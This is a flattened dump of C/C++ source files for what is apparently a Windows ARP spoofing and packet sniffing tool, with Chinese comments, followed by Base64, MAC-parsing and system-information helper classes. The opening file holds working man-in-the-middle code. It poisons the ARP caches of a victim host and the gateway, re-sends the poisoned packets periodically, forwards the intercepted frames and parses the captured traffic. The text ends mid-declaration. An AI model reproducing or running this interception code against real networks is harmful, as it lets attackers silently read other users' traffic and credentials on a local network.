-t 192.168.0.180 -c 192.168.0.9 002211445544if(RunType == ONLY_CHEAT){AllIpMacTable.realcheatsrc.Ip = AllIpMacTable.cheatsrc.Ip;if(!SetIpMacInfo(AllIpMacTable.realcheatsrc.Ip, &(AllIpMacTable.realcheatsrc))){printf("Err:獲取欺騙源真實的mac地址失敗!\r\n");return 0;}else printf("+OK:獲取獲取欺騙源真實mac地址成功!\r\n");if(!SetIpMacInfo(AllIpMacTable.cheattag.Ip, &(AllIpMacTable.cheattag))){printf("Err:獲取目標mac地址失敗!\r\n");return 0;}else printf("+OK:獲取目標mac地址成功!\r\n");//打印欺騙配置信息printf("\r\n欺騙源ip: %s\t\t欺騙源mac: %s", AllIpMacTable.cheatsrc.Ip, AllIpMacTable.cheatsrc.Mac);printf("\r\n受騙主機: %s\t\t受騙的mac: %s\r\n\r\n", AllIpMacTable.cheattag.Ip, AllIpMacTable.cheattag.Mac);printf("-->開始欺騙主機...\r\n");CheatTime = SendArpPacket(CheatTime, lpAdapter, lpPacket, &(AllIpMacTable.cheattag), &(AllIpMacTable.cheatsrc));printf("\n發送 %d 個arp包完成\r\n--Done 欺騙完成!\r\n", CheatTime);//自動恢復if(ReSet == 1){SendArpPacket(2, lpAdapter, lpPacket, &(AllIpMacTable.cheattag), &(AllIpMacTable.realcheatsrc));printf("<--恢復欺騙完成!\r\n");} return 0;}//欺騙和嗅探// arpsniffer -sniffall -di 192.168.0.180if(RunType == CHEAT_AND_SNIFF){sniffuserinfo.sourceip = AllIpMacTable.cheattag.Ip;ShowUserDefine();//欺騙目標if(!SetIpMacInfo(AllIpMacTable.cheattag.Ip, &(AllIpMacTable.cheattag))){printf("Err:獲取目標mac地址失敗!\r\n");return 0;}else{printf("+OK:獲取目標mac地址成功!\r\n");}//設置網關if(!SetIpMacInfo(AllIpMacTable.gateway.Ip, &(AllIpMacTable.gateway))){printf("Err:獲取網關mac地址失敗!\r\n");return 0;} else{printf("+OK:獲取網關mac地址成功!\r\n"); }//自己的IP-MACif(!SetIpMacInfo(AllIpMacTable.my.Ip, &(AllIpMacTable.my))){printf("Err:獲取自身mac地址失敗!\r\n");return 0;} else{printf("+OK:獲取自身mac地址成功!\r\n");}//設置網卡地址GetMacAddr(AllIpMacTable.my.Mac, MyMac);GetMacAddr(AllIpMacTable.gateway.Mac, GateMac);GetMacAddr(AllIpMacTable.cheattag.Mac, TagMac); //靜態綁定欺騙目標和網關的MACprintf("\r\nTry to set static ip mac table...\r\n");if(SetStaticIpMac(AllIpMacTable.cheattag.Ip, AllIpMacTable.cheattag.Mac, AllIpMacTable.gateway.Ip, AllIpMacTable.gateway.Mac)){printf("\r\n+Ok\r\n");}else{printf("\r\n+Falied\r\n");return 0;}//下面5行代碼的解釋:告訴欺騙目標,網關的IP是我的MAC --- 目的:截獲受騙者發給網關的數據AllIpMacTable.cheatsrc.Ip=AllIpMacTable.gateway.Ip;AllIpMacTable.cheatsrc.Mac=AllIpMacTable.my.Mac;printf("\r\n-->開始欺騙第一個目標主機...\r\n欺騙源ip: %s\t\t欺騙源mac: %s", AllIpMacTable.cheatsrc.Ip, AllIpMacTable.cheatsrc.Mac);printf("\r\n受騙主機: %s\t\t受騙的mac: %s\r\n", AllIpMacTable.cheattag.Ip, AllIpMacTable.cheattag.Mac);SendArpPacket(3, lpAdapter,lpPacket, &(AllIpMacTable.cheattag), &(AllIpMacTable.cheatsrc));//-w 嗅探方式,1代表單向嗅探[si->di],0代表雙向嗅探[si<->di]if(sniffuserinfo.Way == 0){//下面5行代碼的解釋:告訴網關,受騙者的IP是我的MAC --- 目的:截獲網關發給受騙者的數據AllIpMacTable.cheatsrc.Ip=AllIpMacTable.cheattag.Ip;AllIpMacTable.cheatsrc.Mac=AllIpMacTable.my.Mac;printf("\r\n-->開始欺騙第二個目標主機...\r\n欺騙源ip: %s\t\t欺騙源mac: %s", AllIpMacTable.cheatsrc.Ip, AllIpMacTable.cheatsrc.Mac);printf("\r\n受騙主機: %s\t\t受騙的mac: %s\r\n",AllIpMacTable.gateway.Ip, AllIpMacTable.gateway.Mac);SendArpPacket(3,lpAdapter,lpPacket, &(AllIpMacTable.gateway), &(AllIpMacTable.cheatsrc));printf("\r\n<--雙向欺騙完成\r\n\r\n+Cheat ok,start sniff...\nPress any key to stop :)\n");}else{printf("\r\n<--單向欺騙完成\r\n\r\n+Cheat ok,start sniff...\nPress any key to stop :)\n"); }}if(RunType == CHEAT_AND_SNIFF){ //欺騙模式下 ,設置非混雜模式,減少工作量if(PacketSetHwFilter(lpAdapter,NDIS_PACKET_TYPE_DIRECTED) == FALSE){printf("Warning: unable to set directed mode!\n");}}else{//非欺騙模式下混雜模式if(PacketSetHwFilter(lpAdapter,NDIS_PACKET_TYPE_PROMISCUOUS) == FALSE){printf("Warning: unable to set promiscuous mode!\n");}}//設置捕獲的內核級緩沖區的大小if(PacketSetBuff(lpAdapter,512000) == FALSE){printf("Unable to set the kernel buffer!\n");return -1;}//設置一次讀操作返回的超時時間if(PacketSetReadTimeout(lpAdapter,50) == FALSE){printf("Warning: unable to set the read tiemout!\n");}if(PacketSetNumWrites(lpAdapter,1) == FALSE){printf("warning: Unable to send more than one packet in a single write!\n");return 0;}//初始化一個_PACKET結構,即將packet結構中的buffer設置為傳遞的buffer指針char buffer[256000];PacketInitPacket(lpPacket,buffer,256000); //非rawsniffer方式啟動初始化//rsniffer.Start(1);StartTime = LastSendTime = GetCurrentTimeSeconds();//kbhit函數:檢查當前是否有鍵盤輸入,若有則返回一個非0值,否則返回0while(! kbhit()){//接收原始數據包if(PacketReceivePacket(lpAdapter, lpPacket, FALSE) == FALSE){printf("Error: PacketReceivePacket failed");return (-1);}ulBytesReceived = lpPacket->ulBytesReceived;char *buf = (char *)lpPacket->Buffer;u_int off = 0;if(off < ulBytesReceived){hdr = (struct bpf_hdr *)(buf + off);u_int tlen1 = hdr->bh_datalen;off += hdr->bh_hdrlen;char *pChar = (char*)(buf+off);char *base = pChar;if(RunType == CHEAT_AND_SNIFF){int recvMillSecond = GetCurrentTimeSeconds() - LastSendTime;//進行再欺騙if(recvMillSecond >= CHEAT_SEND_TIME){AllIpMacTable.cheatsrc.Ip = AllIpMacTable.gateway.Ip;AllIpMacTable.cheatsrc.Mac = AllIpMacTable.my.Mac;SendArpPacket(1, lpAdapter, lpPacket_Cheat, &(AllIpMacTable.cheattag), &(AllIpMacTable.cheatsrc));//雙向欺騙if(sniffuserinfo.Way == 0){AllIpMacTable.cheatsrc.Ip = AllIpMacTable.cheattag.Ip;AllIpMacTable.cheatsrc.Mac = AllIpMacTable.my.Mac;SendArpPacket(1,lpAdapter, lpPacket_Cheat, &(AllIpMacTable.gateway), &(AllIpMacTable.cheatsrc));}LastSendTime=GetCurrentTimeSeconds();}//分析數據包類型int type = IsInvalidPacket(base);if(type == 0) //數據包是本地發出去的continue;else if(type == 1) memcpy(base, GateMac, 6);else memcpy(base, TagMac, 6);memcpy(base+6, MyMac, 6);//如果數據包是因欺騙二獲得到的,需要抓法該數據包,否則將會導致原鏈接失去連接LPPACKET lpPacket_Send = PacketAllocatePacket();if(lpPacket_Send == NULL){printf("\nError: failed to allocate the LPPACKET structure send.");return (-1);}PacketInitPacket(lpPacket_Send, base, tlen1);PacketSendPacket(lpAdapter, lpPacket_Send, TRUE);//解析嗅探到的信息rsniffer.AnalysePacket(base + 14);}else{//解析本地嗅探到的信息rsniffer.AnalysePacket(base+14);}}}EndTime = GetCurrentTimeSeconds();//恢復正常網絡通信if(RunType == CHEAT_AND_SNIFF){SendArpPacket(1, lpAdapter, lpPacket, &(AllIpMacTable.cheattag), &(AllIpMacTable.gateway));SendArpPacket(1, lpAdapter, lpPacket, &(AllIpMacTable.gateway), &(AllIpMacTable.cheattag));printf("\r\n+reset ok,cheat and sniff stoped ...\r\n");}printf("\r\n+Sniff Done OK :)\r\n");//打印抓包狀態if(PacketGetStats(lpAdapter, &stat) == FALSE){printf("Warning: unable to get stats from the kernel!\n");}else{printf("%d packets received.\n", stat.bs_recv);printf("%d Packets lost.\n", stat.bs_drop);printf("%d Packets no check.\n", LostPacket);printf("%d Packets/Sec Take %ld Seconds\n", stat.bs_recv/(EndTime-StartTime), EndTime-StartTime);}//釋放資源PacketFreePacket(lpPacket);//關閉網卡PacketCloseAdapter(lpAdapter);return 0; }
BASE641.h

/*==========================================================================ASCII---->base64 source codepowered by shadow@2004.10.4 01:01 web:http://www.codehome.6600.org info:sperated by 6 bits: -----Base64 code table: -----0-25--> 'A"-'Z' 26-51-->'a'-'z' 52-61-->'0'-'9' 62-->'+' 63-->'/' ============================================================================*/#if !defined(AFX_BASE641_H__11427255_4FE0_4D28_9AF5_70A5F8701068__INCLUDED_) #define AFX_BASE641_H__11427255_4FE0_4D28_9AF5_70A5F8701068__INCLUDED_#if _MSC_VER > 1000 #pragma once #endif // _MSC_VER > 1000 #define MaxLen 741 #define DeMaxLen 1014 class BASE64 { public:int FileDecode(char * fromfile,char * tofile);char * StringDecode(unsigned char *p);void Reset();char * GetLastError();int FileEncode(char *fromfile,char *tofile);char * StringEncode(unsigned char *p);BASE64();virtual ~BASE64();private:void decode_2();void decode_4();void decode_3();void file_decode(FILE *fp);//void file_encode(FILE *fp);void encode_3();void encode_2();void encode_1();void put(unsigned char ch);FILE * fp_in;FILE * fp_out;bool StrEncode;bool StrDecode;unsigned char code[3];unsigned char decode[5];int length;char *base64_str;char Base64Str[1015];int errorcode;char *Base64Error[3]; };#endif // !defined(AFX_BASE641_H__11427255_4FE0_4D28_9AF5_70A5F8701068__INCLUDED_)
BASE641.cpp

/*========================================================================== ASCII---->base64 source code powered by shadow @2004.10.4 01:01 web:http://www.codehome.6600.org info: sperated by 6 bits: -----Base64 code table: -----0-25--> 'A"-'Z' 26-51-->'a'-'z' 52-61-->'0'-'9' 62-->'+' 63-->'/' ============================================================================*/#include "stdafx.h" #include "BASE641.h" #pragma warning(disable:4996)BASE64::BASE64() {length=0;StrEncode=false;StrDecode=false;memset(Base64Str,0,1015);base64_str=Base64Str;fp_in=NULL;fp_out=NULL;Base64Error[0]="Encode Success!";Base64Error[1]="String too long!";Base64Error[2]="Open file failed!";//MessageBox(NULL,"com","com",MB_OK); }BASE64::~BASE64() {}void BASE64::put(unsigned char ch) {if(ch>=0&&ch<=25) ch+=65;else if(ch>=26&&ch<=51) ch+=71;else if(ch>=52&&ch<=61) ch-=4;else if(ch==62) ch='+';else ch='/';if(fp_out!=NULL)fputc(ch,fp_out);//printf("%c",ch);if(StrEncode) *(base64_str++)=ch;length++;if(length%76==0){length=0;if(fp_out!=NULL) fputs("\r\n",fp_out);if(StrEncode){*(base64_str++)='\r';*(base64_str++)='\n';}} }void BASE64::encode_1() {int i;unsigned char ch;ch=code[0]>>2;put(ch);ch=(code[0]<<4)&63;put(ch);for(i=0;i<2;i++){if(fp_out!=NULL) fputc('=',fp_out);//printf("=");if(StrEncode) *(base64_str++)='=';length++;if(length%76==0){length=0;if(fp_out!=NULL) fputs("\r\n",fp_out);if(StrEncode){*(base64_str++)='\r';*(base64_str++)='\n';}}} }void BASE64::encode_2() {unsigned char ch;ch=code[0]>>2;put(ch);ch=(code[0]<<4|code[1]>>4)&63;put(ch);ch=(code[1]<<2)&63;put(ch);if(fp_out!=NULL) fputc('=',fp_out);//printf("=");if(StrEncode) *(base64_str++)='=';length++;if(length%76==0){length=0;if(fp_out!=NULL) fputs("\r\n",fp_out);if(StrEncode){*(base64_str++)='\r';*(base64_str++)='\n';}} }void BASE64::encode_3() {unsigned char ch;ch=code[0]>>2;put(ch);ch=(code[0]<<4|code[1]>>4)&63;put(ch);ch=(code[1]<<2|code[2]>>6)&63;put(ch);ch=code[2]&63;put(ch); }void BASE64::file_encode(FILE *fp) {int i=0;while(!feof(fp)){code[i]=fgetc(fp);if(code[i]==255&&feof(fp)) ; /*如果把文件的結尾標志-1讀出來,即無符號就是255,那就不算,如果不是在文件尾就算,主要考慮到exe文件情況*/else i++;if(i==3) {encode_3();i=0;}}switch(i){case 1:encode_1();break;case 2:encode_2();break;default:break;} }char * BASE64::StringEncode(unsigned char *p) {char *base64strcopy = new char[1015];ZeroMemory(base64strcopy, 1015);if(strlen((char *)p)>MaxLen){errorcode=1;return NULL;} int i=0;StrEncode=true;if(StrEncode){while(*p){code[i]=*p;i++;p++;if(i==3) {encode_3();i=0;}}switch(i){case 1:encode_1();break;case 2:encode_2();break;default:break;}}errorcode=0; memset(base64strcopy,0,1015);strcpy(base64strcopy,Base64Str);// MessageBox(NULL,base64strcopy,"strong",MB_OK);Reset();return base64strcopy; }int BASE64::FileEncode(char *fromfile,char *tofile) {fp_in=fopen(fromfile,"rb");fp_out=fopen(tofile,"wb+");if(fp_in==NULL||fp_out==NULL){errorcode=2;return errorcode;}file_encode(fp_in);errorcode=0;fclose(fp_in);fclose(fp_out);Reset();return errorcode; }char * BASE64::GetLastError() {return Base64Error[errorcode]; }void BASE64::Reset() {length=0;StrEncode=false;StrDecode=false;memset(Base64Str,0,1015);base64_str=Base64Str; } //next is base64 decode void BASE64::decode_2() {unsigned char ch;ch=(decode[1]<<2)|(decode[2]>>4);if(fp_out!=NULL) fputc(ch,fp_out);//printf("%c",ch);if(StrDecode) *(base64_str++)=ch; }void BASE64::decode_3() {unsigned char ch;ch=(decode[1]<<2)|(decode[2]>>4);if(fp_out!=NULL) fputc(ch,fp_out);//printf("%c",ch);if(StrDecode) *(base64_str++)=ch;ch=(decode[2]<<4)|(decode[3]>>2);if(fp_out!=NULL) fputc(ch,fp_out);//printf("%c",ch);if(StrDecode) *(base64_str++)=ch; }void BASE64::decode_4() {unsigned char ch;ch=(decode[1]<<2)|(decode[2]>>4);if(fp_out!=NULL) fputc(ch,fp_out);//printf("%c",ch);if(StrDecode) *(base64_str++)=ch;ch=(decode[2]<<4)|(decode[3]>>2);if(fp_out!=NULL) fputc(ch,fp_out);//printf("%c",ch);if(StrDecode) *(base64_str++)=ch;ch=(decode[3]<<6)|decode[4];if(fp_out!=NULL) fputc(ch,fp_out);//printf("%c",ch);if(StrDecode) *(base64_str++)=ch; }void BASE64::file_decode(FILE *fp) {int i=1,j=0;while(!feof(fp)){decode[i]=fgetc(fp);if(decode[i]==255&&feof(fp)) ; /*如果把文件的結尾標志-1讀出來,即無符號就是255,那就不算,如果不是在文件尾就算,主要考慮到exe文件情況*/else{if(decode[i]>=65&&decode[i]<=90) {decode[i]-=65;j++;}else if(decode[i]>=97&&decode[i]<=122) {decode[i]-=71;j++;}else if(decode[i]>=48&&decode[i]<=57) {decode[i]+=4;j++;}else if(decode[i]=='+') {decode[i]=62;j++;}else if(decode[i]=='/') {decode[i]=63;j++;}else ;i++;length++;if(length%76==0) fseek(fp,2L,1);}if(j==4) {decode_4();i=1;j=0;}}switch(j){case 2:decode_2();break;case 3:decode_3();break;default:break;} }char * BASE64::StringDecode(unsigned char *p) {if(strlen((char *)p)>DeMaxLen){errorcode=1;return NULL;}int i=1,j=0;StrDecode=true;if(StrDecode){while(*p){if(*p=='\r'||*p=='\n') continue;decode[i]=*p;if(decode[i]>=65&&decode[i]<=90) {decode[i]-=65;j++;}else if(decode[i]>=97&&decode[i]<=122) {decode[i]-=71;j++;}else if(decode[i]>=48&&decode[i]<=57) {decode[i]+=4;j++;}else if(decode[i]=='+') {decode[i]=62;j++;}else if(decode[i]=='/') {decode[i]=63;j++;}p++;i++;if(j==4) {decode_4();i=1;j=0;}}switch(j){case 2:decode_2();break;case 3:decode_3();break;default:break;}}errorcode=0;char *debase64str = new char[1015];strcpy(debase64str,Base64Str);Reset();return debase64str; }int BASE64::FileDecode(char *fromfile, char *tofile) {fp_in=fopen(fromfile,"rb");fp_out=fopen(tofile,"wb+");if(fp_in==NULL||fp_out==NULL){errorcode=2;return errorcode;}file_decode(fp_in);errorcode=0;fclose(fp_in);fclose(fp_out);Reset();return errorcode; }
mac.h

#ifndef _MAC_H_ #define _MAC_H_//#include <windows.h>int StringToInt(char* String); bool GetMacAddr(CString Mac, char* MacAddr);#endif
mac.cpp

#include "stdafx.h" #include "Mac.h" #include <windows.h> //#include "stdlib.h"USHORT CT[256]= {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,0xFF, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,0xFF, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, };int StringToInt(char* String) {int nRetCode;nRetCode = CT[*String];nRetCode = (nRetCode * 16) + CT[*(String + 1)];return nRetCode; }//把MAC地址從CString格式轉化為char格式 bool GetMacAddr(CString Mac, char* MacAddr) {int i;char szTemp[2];char *szMacAddr_String;char pmac[13];pmac[12]='\0';wsprintf(pmac,"%s",Mac);szMacAddr_String=pmac;for (i = 0; i < 6; i++){//szTemp = {0};szTemp[0] = *(szMacAddr_String + (2 * i));szTemp[1] = *(szMacAddr_String + (2 * i) + 1);*(MacAddr + i) = StringToInt(szTemp);if (*(MacAddr + i) > 0xFF)return false;}return true; }
PcInfor.h

/*==================================================================== filename:PcInfor.h Use:the header file for define the class PcInfor powered by shadow @2004/10/20 my web:http://www.codehome.6600.org ======================================================================*/ #include <winsock2.h> //#include <ws2tcpip.h> #include <tlhelp32.h> #include <io.h>//系統信息 typedef struct _SYSINFO {CString IP;CString ComputerName;CString CurrentUserName;CString CpuNumbers;CString CpuVersion;CString CpuType;CString CpuStruct;CString DisplayMode;CString ColorDisplay;CString OSName;CString OSMajorVersion;CString OSMinorVersion;CString TotalPhyMemory;CString AvailPhyMemory;CString TotalVirtualMemory;CString AvailVirtualMemory;CString UseedMemory;CString CurrentDirectory;CString SystemDirectory;CString TempDirectory;CString WinDirectory; }SYSTEMINFO;//驅動信息 typedef struct _DRIVERINFO {CString DriverName;CString DriverVolInfo;CString DriverSerialNum;CString DriverFileSystemFlag;CString DriverFileSystem;CString ErrorString;CString DriverTotalSize;CString DriverAvailSize;CString DriverUseedSize;_DRIVERINFO *Next; }DRIVERINFO;//進程信息 typedef struct _PROCESSINFO {CString ProcessName;DWORD ProcessId;DWORD ParentProcessId; }PROCESSINFO;//端口--進程信息 typedef struct _PORTTOPROCESS {CString Port;CString Protocol;CString Pid;CString ProcName;CString ProcPath; }PORTTOPROCESS;//本地計算機信息 class PcInfor { public:PcInfor();virtual ~PcInfor();public:int ErrorCode;DRIVERINFO DriverInfo[26];PROCESSINFO ProcessInfo[100]; //進程信息PORTTOPROCESS PortToProcess[100];SYSTEMINFO SystemInfo;public:void GetLocalIp();void WriteProcinfo();void DeleteTempFile();void GetPortToProcessInfo();void GetProcPath();void FindProcPath();void FindProcName();bool InsertPortList(CString port,CString pid,CString type);int GetListenPort();void BornUdpListen();void BornTcpListen();int KillProcByName(char *exename);int GetPsList();int DriverNum,ProcessNum,PortNum;char * PcInfoError[10];char * GetLastError(int errorcode);char * GetLastError();int GetPcInfo();int GetDriverInfo();int GetPcSystemInfo();int KillProc(DWORD pid);private:int SetPrivilege(HANDLE token_hdl,LPCTSTR lp_privilege);};
PcInfor.cpp

/*==================================================================== filename:PcInfor.cpp Use:get PcInfor powered by shadow @2004/10/20 my web:http://www.codehome.6600.org ======================================================================*/ #include "stdafx.h" #include "PcInfor.h" #pragma comment(lib,"ws2_32.lib") #pragma warning(disable:4996)PcInfor::PcInfor() {GetPcInfo(); }PcInfor::~PcInfor() { }int PcInfor::GetPcSystemInfo() {int errorcode;DWORD len=MAX_COMPUTERNAME_LENGTH+1;//IP信息SystemInfo.IP.Format("%s","IP not get!");//獲取用戶名char UserName[MAX_COMPUTERNAME_LENGTH+1];if(!GetUserName(UserName,&len)){errorcode=1;SystemInfo.CurrentUserName="get user name error";}else SystemInfo.CurrentUserName.Format("%s",UserName);//獲取計算機名字char PcName[MAX_COMPUTERNAME_LENGTH+1];if(!GetComputerName(PcName,&len)){errorcode=2;SystemInfo.ComputerName="get computer name error";}else SystemInfo.ComputerName.Format("%s",PcName);//獲得CPU信息SYSTEM_INFO system_info;GetSystemInfo(&system_info);SystemInfo.CpuNumbers.Format("%d",system_info.dwNumberOfProcessors);SystemInfo.CpuVersion.Format("%d",system_info.wProcessorRevision);SystemInfo.CpuStruct.Format("%d",system_info.wProcessorLevel);switch(system_info.dwProcessorType){case PROCESSOR_INTEL_386:SystemInfo.CpuType="intel 80386";break;case PROCESSOR_INTEL_486:SystemInfo.CpuType="intel 80486";break;case PROCESSOR_INTEL_PENTIUM:SystemInfo.CpuType="Pentium";break;case 6:SystemInfo.CpuType="prn pro";break;case 7:SystemInfo.CpuType="pen III";break;case 8:SystemInfo.CpuType="pen IV";break;case PROCESSOR_MIPS_R4000:SystemInfo.CpuType="Mips R4000";break;// case PROCESSOR_ALPHA_21046:// SystemInfo.CpuType="Alpha 21046";// break;default:SystemInfo.CpuType="unknow";break;}//獲取顯卡信息DEVMODE devmode;int i=0;while(EnumDisplaySettings(NULL,i,&devmode)) i++;SystemInfo.DisplayMode.Format("%d*%d",devmode.dmPelsWidth,devmode.dmPelsHeight);SystemInfo.ColorDisplay.Format("%d",devmode.dmBitsPerPel);//操作系統信息OSVERSIONINFO osversion;osversion.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);if(GetVersionEx(&osversion)){SystemInfo.OSMajorVersion.Format("%d",osversion.dwMajorVersion);SystemInfo.OSMinorVersion.Format("%d",osversion.dwMinorVersion);switch(osversion.dwPlatformId){case VER_PLATFORM_WIN32s:SystemInfo.OSName="Win32s on Windows 3.1";break;case VER_PLATFORM_WIN32_WINDOWS:SystemInfo.OSName="Windows95/98";break;case VER_PLATFORM_WIN32_NT:SystemInfo.OSName="Windows NT";break;default:SystemInfo.OSName="Unknow OS";break;}}else{SystemInfo.OSName="get os error";SystemInfo.OSMajorVersion="get major version error";SystemInfo.OSMinorVersion="get minor version error";}//獲取內存信息MEMORYSTATUS memory_status;memory_status.dwLength=sizeof(MEMORYSTATUS);GlobalMemoryStatus(&memory_status);/*if(1){*/SystemInfo.TotalPhyMemory.Format("%ld",memory_status.dwTotalPhys);SystemInfo.TotalVirtualMemory.Format("%ld",memory_status.dwTotalVirtual);SystemInfo.AvailPhyMemory.Format("%ld",memory_status.dwAvailPhys);SystemInfo.AvailVirtualMemory.Format("%ld",memory_status.dwAvailVirtual);SystemInfo.UseedMemory.Format("%ld",memory_status.dwMemoryLoad);/* }else{SystemInfo.TotalPhyMemory="get memory error";SystemInfo.TotalVirtualMemory="get memory error";SystemInfo.AvailPhyMemory="get memory error";SystemInfo.AvailVirtualMemory="get memory error";SystemInfo.UseedMemory="get memory error";}*///當前目錄char dir[MAX_PATH];if(GetCurrentDirectory(MAX_PATH,dir)) SystemInfo.CurrentDirectory.Format("%s",dir);else SystemInfo.CurrentDirectory="get path error"; //系統目錄if(GetSystemDirectory(dir,MAX_PATH)) SystemInfo.SystemDirectory.Format("%s",dir);else SystemInfo.SystemDirectory="get path error"; //臨時目錄if(GetTempPath(MAX_PATH,dir)) SystemInfo.TempDirectory.Format("%s",dir);else SystemInfo.TempDirectory="get path error";//Window目錄if(GetWindowsDirectory(dir,MAX_PATH)) SystemInfo.WinDirectory.Format("%s",dir);else SystemInfo.WinDirectory="get path error"; errorcode=0;return 0; }int PcInfor::GetDriverInfo() {//get driver info__int64 driver_mask;int i;DWORD driver_flag;unsigned char ch;char DriverName[4];CString TotalSize,AvailSize,UseSize,DriveName,FileSystem,FileSystemFlag,SerialNum,VolInfo,ErrorString;driver_mask=1;driver_flag=GetLogicalDrives();ULARGE_INTEGER bytesforcaller,totalbytes,freebytes;i=0;DriverName[1]=':';DriverName[2]='\\';DriverName[3]='\0';DriverNum=0;for(ch='A';ch<='Z';ch++){DriveName="get info error";TotalSize="get info error";AvailSize="get info error";UseSize="get info error";FileSystem="get info error";FileSystemFlag="get info error";SerialNum="get info error";VolInfo="get info error";ErrorString="get info ok";if(driver_mask&driver_flag){DriverName[0]=ch;DriveName.Format("%s",DriverName);if(GetDiskFreeSpaceEx(DriverName,&bytesforcaller,&totalbytes,&freebytes)){int totalMB,freeMB,useMB;char volname[MAX_PATH];char filesystem_name[MAX_PATH];DWORD filesystem_flag,serialnum,maxlength;totalMB=totalbytes.QuadPart/1024/1024;freeMB=freebytes.QuadPart/1024/1024;if(totalMB==-1) totalMB=0;if(freeMB==-1) freeMB=0;useMB=totalMB-freeMB;if(useMB<0) useMB=0;TotalSize.Format("%d",totalMB);AvailSize.Format("%d",freeMB);UseSize.Format("%d",useMB);if(GetVolumeInformation(DriverName,volname,MAX_PATH,&serialnum,&maxlength,&filesystem_flag,filesystem_name,MAX_PATH)){if(filesystem_flag&FS_CASE_IS_PRESERVED) FileSystemFlag="FA_CASE_IS_PRESERVED";if(filesystem_flag&FS_CASE_SENSITIVE) FileSystemFlag="FS_CASE_SENSITIVE";if(filesystem_flag&FS_PERSISTENT_ACLS) FileSystemFlag="FS_PERSISTENT_ACLS";if(filesystem_flag&FS_UNICODE_STORED_ON_DISK) FileSystemFlag="FS_UNICODE_STORED_ON_DISK";if(filesystem_flag&FS_VOL_IS_COMPRESSED) FileSystemFlag="FS_VOL_IS_COMPRESSED";SerialNum.Format("%0xH",serialnum);SerialNum.Insert(SerialNum.GetLength()/2+1,"-");VolInfo.Format("%s",volname);FileSystem.Format("%s",filesystem_name);}else ErrorString="獲取驅動器卷標失敗";} else ErrorString="驅動器未準備好"; ///*DriverInfo[i].DriverAvailSize=AvailSize; DriverInfo[i].DriverFileSystem=FileSystem;DriverInfo[i].DriverFileSystemFlag=FileSystemFlag;DriverInfo[i].DriverName=DriveName;DriverInfo[i].DriverSerialNum=SerialNum;DriverInfo[i].DriverTotalSize=TotalSize;DriverInfo[i].DriverUseedSize=UseSize;DriverInfo[i].DriverVolInfo=VolInfo;DriverInfo[i].ErrorString=ErrorString;DriverInfo[i].Next=NULL;i++;DriverNum++;//*/}driver_mask<<=1;}return 0; }int PcInfor::GetPcInfo() {GetPcSystemInfo();GetDriverInfo();GetPsList();GetLocalIp();return 0; }//獲取錯誤碼 char * PcInfor::GetLastError() {return PcInfoError[ErrorCode]; }//獲取錯誤碼 char * PcInfor::GetLastError(int errorcode) {return PcInfoError[errorcode]; }//進程列表 int PcInfor::GetPsList() {HANDLE ProcHdl;PROCESSENTRY32 Pe32={0};ProcHdl=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);ProcessNum=0;if(ProcHdl==((HANDLE)-1)) return 1;Pe32.dwSize=sizeof(PROCESSENTRY32);if(Process32First(ProcHdl,&Pe32)){do{ProcessInfo[ProcessNum].ProcessName=Pe32.szExeFile;ProcessInfo[ProcessNum].ProcessId=(DWORD)Pe32.th32ProcessID;ProcessInfo[ProcessNum].ParentProcessId=(DWORD)Pe32.th32ParentProcessID;ProcessNum++;}while(Process32Next(ProcHdl,&Pe32));}CloseHandle(ProcHdl);return 0; }//設置進程權限 int PcInfor::SetPrivilege(HANDLE token_hdl,LPCTSTR lp_privilege) {TOKEN_PRIVILEGES tp;LUID 